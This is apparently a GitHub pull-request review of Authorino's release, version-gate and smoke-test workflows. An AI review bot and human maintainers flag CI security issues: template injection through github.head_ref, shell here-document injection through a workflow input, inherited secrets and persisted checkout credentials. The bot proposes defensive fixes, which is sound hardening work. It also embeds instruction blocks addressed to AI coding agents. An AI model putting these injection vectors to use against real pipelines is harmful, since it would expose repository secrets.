🧰 Tools
🪛 zizmor (1.28.0)

[info] 85-85: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yaml around lines 83 - 94, The “Create and push
tag” step must be retry-safe after later release steps fail. Update its
existing-tag handling so a tag already pointing to the expected release commit
is accepted and reused, while conflicting tags still fail; preserve tag creation
and pushing for the absent-tag case.

Comment on lines +98 to +102
uses: ./.github/workflows/build-images.yaml
with:
version: ${{ needs.read-version.outputs.version }}
ref: v${{ needs.read-version.outputs.version }}
secrets: inherit

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow files =="
git ls-files '.github/workflows/*.yaml' '.github/workflows/*.yml' RELEASE.md

echo
echo "== release.yaml relevant call =="
sed -n '85,110p' .github/workflows/release.yaml 2>/dev/null || true

echo
echo "== build-images.yaml secrets/uses ==="
sed -n '1,180p' .github/workflows/build-images.yaml 2>/dev/null || true

echo
echo "== Release docs relevant lines =="
sed -n '45,60p' RELEASE.md 2>/dev/null || true

echo
echo "== repo references to IMG_REGISTRY_* and secrets in workflows =="
rg -n "IMG_REGISTRY_|secrets: inherit|\$\{1|with:\s*$|uses: \./.github/workflows/build-images" .github/workflows RELEASE.md || true

Repository: Kuadrant/authorino

Length of output: 13934


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== parse workflow call secrets syntax nearby =="
python3 - <<'PY'
from pathlib import Path
p = Path('.github/workflows/release.yaml')
lines = p.read_text().splitlines()
for i, line in enumerate(lines, 1):
    if 85 <= i <= 108:
        print(f"{i}: {line}")

print("\n== release.yaml call block structure (simple indent-sensitive) ==")
in_call = False
for i, line in enumerate(lines, 1):
    if i < 95: continue
    stripped = line.rstrip()
    if 'uses: ./.github/workflows/build-images.yaml' in stripped:
        in_call = True
        print(i, stripped)
        continue
    if in_call:
        if stripped.startswith('    uses:') and '.github/workflows/build-images.yaml' not in stripped:
            in_call = False
        print(i, stripped)
        if stripped.startswith('secrets:'):
            break
PY

Repository: Kuadrant/authorino

Length of output: 2397


🌐 Web query:

GitHub Actions reusable workflows secrets inherit syntax call secrets pass specific secrets documentation

💡 Result:

When calling a GitHub Actions reusable workflow, you can either explicitly pass specific secrets or use the inherit keyword to implicitly pass all secrets from the caller to the called workflow. It is not possible to combine these two methods (e.g., you cannot use inherit and simultaneously pass additional, explicitly defined secrets) [1]. Explicitly Passing Secrets To pass specific secrets, use the secrets keyword followed by the list of secrets you wish to provide. The reusable workflow must also define these secrets in its on.workflow_call.secrets section if you wish to validate or require them [2]. jobs: call-workflow: uses:./.github/workflows/reusable.yml secrets: MY_SECRET: ${{ secrets.MY_SECRET }} Using 'inherit' The secrets: inherit keyword allows a reusable workflow to implicitly access all secrets available to the caller workflow [3][4]. When using this approach, secrets do not need to be explicitly defined in the called workflow's on.workflow_call block [3][5]. jobs: call-workflow: uses:./.github/workflows/reusable.yml secrets: inherit Workaround for Dynamic Secret Passing Because secrets cannot be combined with inherit, and because you cannot easily pass a secret's value directly through with inputs (as with is evaluated at parse time, while secrets are available at runtime), a common pattern to pass a "specific" secret when using inherit is to pass the name of the secret as an input string [6][7]. 1. Pass the secret name as an input: yaml # Caller Workflow jobs: call: uses: ./.github/workflows/reusable.yml with: secret_name: "MY_REQUIRED_SECRET" secrets: inherit 2. Access the secret dynamically inside the reusable workflow using the secrets[input_name] syntax: yaml # Reusable Workflow on: workflow_call: inputs: secret_name: { type: string, required: true } jobs: run: runs-on: ubuntu-latest steps: - run: echo "Value is ${{ secrets[inputs.secret_name] }}" Important Considerations: - Secret Chaining: Secrets are only passed to directly called workflows. If you have a chain (Workflow A -> Workflow B -> Workflow C), Workflow B must explicitly pass the secrets to Workflow C, even if Workflow A used inherit to pass them to Workflow B [8][9]. - Environment Secrets: Environment-scoped secrets cannot be passed via secrets: inherit in the same way as repository-level secrets. If a reusable workflow job references an environment, it will use that environment's secrets rather than those passed from the caller [3][5].

Citations:


Pass only the registry secrets to the image workflow.

The release workflow currently uses secrets: inherit, which forwards every caller secret to build-images.yaml, even though the called workflow only reads IMG_REGISTRY_USERNAME and IMG_REGISTRY_TOKEN. Replace inheritance with explicit workflow-call secrets and update RELEASE.md accordingly.

  • .github/workflows/release.yaml#L98-L102: Declare and pass only IMG_REGISTRY_USERNAME and IMG_REGISTRY_TOKEN.
  • RELEASE.md#L52-L52: Document explicit registry-secret passing instead of secrets: inherit.
🧰 Tools
🪛 zizmor (1.28.0)

[warning] 98-98: secrets unconditionally inherited by called workflow (secrets-inherit): this reusable workflow

(secrets-inherit)

📍 Affects 2 files
  • .github/workflows/release.yaml#L98-L102 (this comment)
  • RELEASE.md#L52-L52
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yaml around lines 98 - 102, The release workflow
must stop forwarding all secrets and explicitly pass only IMG_REGISTRY_USERNAME
and IMG_REGISTRY_TOKEN to the build-images workflow call in
.github/workflows/release.yaml (lines 98-102), declaring the corresponding
workflow-call secrets as required. Update RELEASE.md (line 52) to document
explicit registry-secret passing instead of secrets: inherit.

Comment on lines +22 to +26
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
chmod +x .github/scripts/validate-release-yaml.sh
.github/scripts/validate-release-yaml.sh "${{ github.head_ref }}" "Kuadrant"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow files =="
git ls-files '.github/workflows/*' | sort

echo
echo "== version-gate workflow =="
if [ -f .github/workflows/version-gate.yaml ]; then
  cat -n .github/workflows/version-gate.yaml
else
  echo "missing .github/workflows/version-gate.yaml"
fi

echo
echo "== script files =="
git ls-files '.github/scripts/*' | sort

echo
echo "== validate-release-yaml script outline/content =="
if [ -f .github/scripts/validate-release-yaml.sh ]; then
  wc -l .github/scripts/validate-release-yaml.sh
  cat -n .github/scripts/validate-release-yaml.sh
else
  echo "missing .github/scripts/validate-release-yaml.sh"
fi

Repository: Kuadrant/authorino

Length of output: 2845


🌐 Web query:

GitHub Actions context github.head_ref pull_request target branch base_ref documentation

💡 Result:

In GitHub Actions, the github.head_ref and github.base_ref properties are context variables specifically used to identify branches during pull request events [1][2]. github.head_ref This property represents the source branch (the head branch) of the pull request [1][3]. It is the branch where the changes originated [3]. This property is only populated when the workflow is triggered by a pull_request or pull_request_target event; otherwise, it is empty [1][4]. github.base_ref This property represents the target branch (the base branch) of the pull request [1][2]. It is the branch into which the changes are intended to be merged [3]. Like head_ref, this property is only populated when the workflow is triggered by a pull_request or pull_request_target event [1][4]. Key Considerations Availability: These properties are only available for pull_request and pull_request_target events [1][5]. If a workflow is triggered by other events, such as a push, these variables will be empty strings [4][6]. Environment Variables: Equivalent information is available as environment variables, named GITHUB_HEAD_REF and GITHUB_BASE_REF, which are also only set during pull request events [5][2]. Distinction from github.ref: While github.ref provides the full reference (e.g., refs/heads/branch-name or refs/pull/PR-number/merge) for various events, it does not reliably identify the source or target branch in the same way for pull requests, making head_ref and base_ref the standard for PR-specific workflows [1][3].

Citations:


Use the target branch via an environment variable.

.github/scripts/validate-release-yaml.sh treats main as a special branch, but .github/workflows/version-gate.yaml passes github.head_ref (the PR source branch) instead of github.base_ref (the merge target). A PR targeting release-* from a source branch named main would bypass the 0.0.0 version rule. Set BRANCH from ${{ github.base_ref }} in env: and invoke the script with "$BRANCH".

🧰 Tools
🪛 actionlint (1.7.12)

[error] 24-24: "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 zizmor (1.28.0)

[error] 26-26: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/version-gate.yaml around lines 22 - 26, Update the
version-gate workflow’s script invocation to define BRANCH in env from
github.base_ref, then pass "$BRANCH" to validate-release-yaml.sh instead of
github.head_ref, ensuring validation uses the PR’s target branch.

Source: Linters/SAST tools

if git diff --cached --quiet; then
echo "No changes to commit"
else
git commit -m "chore: prepare release v${VERSION}"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing the sign-off. Won't this fail the DCO check?

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could find documentation around this, but with the help of cluade found it the actions source. The check is skipped of merge commits, and for accounts that are marked as bots. Could there be a question over should that be case, possible, but that is why it wont fail the check.

https://github.com/dcoapp/app/blob/main/lib/dco.js#L21-L25

GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
VERSION="${{ steps.parse.outputs.version }}"
if gh release view "v${VERSION}" &>/dev/null; then

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I remember a question raised about what to do in the case a draft release exists. I guess we want to want to discourage using those and fail the workflow just the same?

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Some times I have memory like a gold fish. Yes, we did say that I will update that to.


build-image:
needs: [read-version, tag]
uses: ./.github/workflows/build-images.yaml

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Authorino has a "Smoke Test" workflow that will trigger after building the image in CI. It deploys the image just built to a Kubernetes cluster and runs the e2e tests on it.

Unfortunately, it always deploys the latest image built from the main branch, statically specified in the workflow. It would be nice to make that work for release builds too in the future.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes, this is one thing that should be added. These hidden/triggered workflows are one of the reasons for doing this work. You need to know they exist in order to know to even check for them. I will work in so that workflow most pass in before making the GitHub release.

Signed-off-by: Jim Fitzpatrick <jfitzpat@redhat.com>
The smoke test, tests the build images.

Signed-off-by: Jim Fitzpatrick <jfitzpat@redhat.com>

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Nitpick comments (2)
.github/workflows/smoke-test.yaml (2)

39-41: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Disable checkout credential persistence.

The workflow executes repository test code after checkout. actions/checkout persists its token by default. Set persist-credentials: false because no later step shown requires authenticated Git operations. (github.com)

Proposed fix
        with:
          ref: ${{ inputs.ref || '' }}
+         persist-credentials: false
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/smoke-test.yaml around lines 39 - 41, Update the
actions/checkout step in the smoke-test workflow to set persist-credentials to
false, while preserving the existing ref input and checkout behavior.

Source: Linters/SAST tools


75-75: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Do not interpolate authorino-image into shell source.

The workflow_call input is inserted directly into a shell here-document. A value containing a newline and the here-document delimiter can terminate the kubectl input and execute shell commands. The current release caller supplies a fixed registry and a validated version, but this reusable interface accepts arbitrary strings. Pass the value through step env and validate the accepted image-reference format. GitHub warns against using untrusted context values to generate inline shell scripts. (docs.github.com)

Proposed fix
       - name: Create Authorino instance
+        env:
+          AUTHORINO_IMAGE: ${{ inputs.authorino-image || 'quay.io/kuadrant/authorino:latest' }}
         run: |
+          # Validate AUTHORINO_IMAGE before applying the manifest.
           kubectl -n authorino apply -f -<<EOF
...
-            image: ${{ inputs.authorino-image || 'quay.io/kuadrant/authorino:latest' }}
+            image: ${AUTHORINO_IMAGE}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/smoke-test.yaml at line 75, Update the workflow step using
the authorino-image input so it is passed through the step’s env rather than
interpolated into shell or here-document source. Validate the environment value
against the accepted image-reference format before using it in the kubectl
manifest, rejecting newlines, delimiters, and other invalid characters while
preserving the existing default image.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/scripts/validate-release-yaml.sh:
- Around line 21-22: Update the dependencies validation flow in
validate-release-yaml.sh to reject non-mapping, non-null .dependencies values
before enumerating entries. Remove the || true suppression from the ENTRIES yq
command so query failures propagate, and add a guard requiring .dependencies to
be null or type !!map before running to_entries.

In @.github/workflows/release.yaml:
- Line 112: Update the authorino-image input in the reusable workflow call to
remove the unsupported env context, using a literal registry reference or
repository vars instead while preserving the version expression from
needs.read-version.outputs.version.

---

Nitpick comments:
In @.github/workflows/smoke-test.yaml:
- Around line 39-41: Update the actions/checkout step in the smoke-test workflow
to set persist-credentials to false, while preserving the existing ref input and
checkout behavior.
- Line 75: Update the workflow step using the authorino-image input so it is
passed through the step’s env rather than interpolated into shell or
here-document source. Validate the environment value against the accepted
image-reference format before using it in the kubectl manifest, rejecting
newlines, delimiters, and other invalid characters while preserving the existing
default image.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: d81efa11-2c31-486d-9d46-906a8ae824ac

📥 Commits

Reviewing files that changed from the base of the PR and between c2fd406 and 69e96f9.

📒 Files selected for processing (3)
  • .github/scripts/validate-release-yaml.sh
  • .github/workflows/release.yaml
  • .github/workflows/smoke-test.yaml

Comment on lines +21 to +22
ENTRIES=$(yq -o=json '.dependencies // {} | to_entries[]' "$RELEASE_YAML" 2>/dev/null || true)
if [[ -n "$ENTRIES" ]]; then

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

yq --version

tmp_file="$(mktemp)"
trap 'rm -f "$tmp_file"' EXIT

cat >"$tmp_file" <<'YAML'
authorino:
  version: "1.2.3"
dependencies: invalid
YAML

if yq -e '(.dependencies == null) or (.dependencies | type == "!!map")' "$tmp_file" >/dev/null; then
  echo "Expected a scalar dependencies value to fail validation" >&2
  exit 1
fi

Repository: Kuadrant/authorino

Length of output: 196


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

printf 'Repository files matching validate-release-yaml.sh:\n'
fd -a 'validate-release-yaml\.sh$' . || true

printf '\nFile context:\n'
if [ -f .github/scripts/validate-release-yaml.sh ]; then
  cat -n .github/scripts/validate-release-yaml.sh
fi

printf '\nSearch for validate-release-yaml usage:\n'
rg -n "validate-release-yaml|RELEASE_YAML|dependencies" .github test . 2>/dev/null | head -200

Repository: Kuadrant/authorino

Length of output: 3776


🌐 Web query:

mikefarah yq .dependencies to_entries mapping error || true behavior

💡 Result:

In mikefarah/yq, the to_entries operator is designed to convert maps and arrays into an array of key-value pair objects [1][2]. The behavior you are encountering—where commands like ... | to_entries || true do not suppress errors as expected—is rooted in how yq's internal expression engine handles errors and pipelines, which differs from standard shell behavior [3][4]. Key points regarding this behavior include: 1. Shell Pipe vs. yq Expression: The || true construct is a shell-level operator. If yq encounters a fatal error during the evaluation of its internal expression (such as an invalid path traversal or a type error), the error message is often generated and printed by the yq binary itself before the shell even receives an exit code, or the error might occur within the internal pipeline of yq, which the shell's || cannot intercept [3][5]. 2. yq Error Handling: According to official documentation, yq is designed to display error messages alongside the results of the closest valid filter [5]. When an expression chain fails (e.g., trying to access keys on a non-mappable or non-sequence type), yq may return a non-zero exit status [5]. To effectively suppress these, ensure your yq expression itself is robust (e.g., using select() or has() to verify structure before piping into to_entries) rather than relying on external shell error handling [3]. 3. Common Cause: Errors with to_entries often stem from attempting to convert types that are not mappings or sequences [6][7]. If a path in your expression resolves to null or a scalar value instead of a map, to_entries will trigger an error (e.g., ... has no keys) because it expects a structure that can be iterated as a collection [6][7]. To mitigate these errors, you can use conditional filtering to ensure the input to to_entries is a valid collection: - Use select(): Filter the input to ensure it is not null or empty before calling to_entries [3]. Example: yq '.dependencies | select(. != null) | to_entries' - Use has(): Check for the existence of the key if you are traversing a variable [3]. Example: yq '... | select(has("dependencies")) | .dependencies | to_entries' If you are trying to handle "missing" data gracefully, select is the preferred idiom in yq to avoid attempting operations on invalid nodes [3].

Citations:


Reject invalid dependencies structures.

If .dependencies is not a mapping or null, the query cannot convert to entries. Drop || true so yq failures stop validation, and require (.dependencies == null) or (.dependencies | type == "!!map") before enumerating entries.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/scripts/validate-release-yaml.sh around lines 21 - 22, Update the
dependencies validation flow in validate-release-yaml.sh to reject non-mapping,
non-null .dependencies values before enumerating entries. Remove the || true
suppression from the ENTRIES yq command so query failures propagate, and add a
guard requiring .dependencies to be null or type !!map before running
to_entries.

needs: [read-version, build-image]
uses: ./.github/workflows/smoke-test.yaml
with:
authorino-image: ${{ env.IMG_REGISTRY_HOST }}/${{ env.IMG_REGISTRY_ORG }}/authorino:v${{ needs.read-version.outputs.version }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🔴 Critical | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf 'Workflow file excerpts around reusable workflow call:\n'
if [ -f .github/workflows/release.yaml ]; then
  nl -ba .github/workflows/release.yaml | sed -n '1,150p'
else
  echo ".github/workflows/release.yaml not found"
fi

printf '\nSearch for environment variable declarations and authorino-image usage:\n'
rg -n "IMG_REGISTRY_(HOST|ORG)|authorino-image|uses: .*onpush-ci/.github/workflows|workflow_call|workflow_dispatch" .github/workflows/release.yaml .github/workflows 2>/dev/null || true

Repository: Kuadrant/authorino

Length of output: 250


🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf 'Workflow file excerpts around reusable workflow call:\n'
if [ -f .github/workflows/release.yaml ]; then
  awk '{printf "%6d\t%s\n", NR, $0}' .github/workflows/release.yaml | sed -n '1,150p'
else
  echo ".github/workflows/release.yaml not found"
fi

printf '\nSearch for environment variable declarations and authorino-image usage:\n'
grep -RInE "IMG_REGISTRY_(HOST|ORG)|authorino-image|uses: .*onpush-ci/.github/workflows|workflow_call|workflow_dispatch" .github/workflows/release.yaml .github/workflows 2>/dev/null || true

Repository: Kuadrant/authorino

Length of output: 8490


🌐 Web query:

GitHub Actions contexts env context reusable workflow inputs jobs.<job_id>.with.<with_id>

💡 Result:

In GitHub Actions, the jobs.<job_id>.with.<with_id> syntax is used to pass named inputs to a reusable workflow from a caller workflow [1][2]. Key characteristics and constraints: 1. Purpose and Syntax: When you call a reusable workflow using the uses keyword, the with map allows you to provide values for inputs that must be explicitly defined in the called workflow's on.workflow_call.inputs section [1][2]. The identifier (with_id) must match the input name defined in the reusable workflow [2]. 2. Restricted Contexts: Unlike with at the step level, jobs.<job_id>.with is evaluated by GitHub at parse time before any jobs execute [3][4]. Because of this, it has a restricted set of available contexts. Specifically, the env context and secrets context are not available in jobs.<job_id>.with expressions [3][4]. You can use contexts such as github, needs, strategy, matrix, inputs, and vars [2][4]. 3. No Environment Variable Propagation: Environment variables defined in the caller workflow are not automatically propagated to the reusable workflow [5][6]. To pass values, you must define them as inputs in the reusable workflow and pass them explicitly using with in the caller [3][5]. 4. Data Types: The value passed for an input must match the data type (string, number, or boolean) specified in the reusable workflow's definition [1][2]. 5. Handling Dynamic Data: If you need to pass dynamic data (such as an output from a previous job) to a reusable workflow, you should compute that value as a job output in an upstream job and reference it in the with map using the needs context (e.g., ${{ needs.<job_id>.outputs.<output_id> }}) [3][5].

Citations:


Fix the reusable-workflow input expression.

env is not available in jobs.<job_id>.with.<with_id>, so this reusable workflow call is invalid under GitHub Actions context rules. Use a literal registry reference or repository vars for authorino-image.

Proposed fix
-      authorino-image: ${{ env.IMG_REGISTRY_HOST }}/${{ env.IMG_REGISTRY_ORG }}/authorino:v${{ needs.read-version.outputs.version }}
+      authorino-image: quay.io/kuadrant/authorino:v${{ needs.read-version.outputs.version }}
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
authorino-image: ${{ env.IMG_REGISTRY_HOST }}/${{ env.IMG_REGISTRY_ORG }}/authorino:v${{ needs.read-version.outputs.version }}
authorino-image: quay.io/kuadrant/authorino:v${{ needs.read-version.outputs.version }}
🧰 Tools
🪛 actionlint (1.7.12)

[error] 112-112: context "env" is not allowed here. available contexts are "github", "inputs", "matrix", "needs", "strategy", "vars". see https://docs.github.com/en/actions/learn-github-actions/contexts#context-availability for more details

(expression)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yaml at line 112, Update the authorino-image input
in the reusable workflow call to remove the unsupported env context, using a
literal registry reference or repository vars instead while preserving the
version expression from needs.read-version.outputs.version.

Source: Linters/SAST tools

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: No status

Development

Successfully merging this pull request may close these issues.

3 participants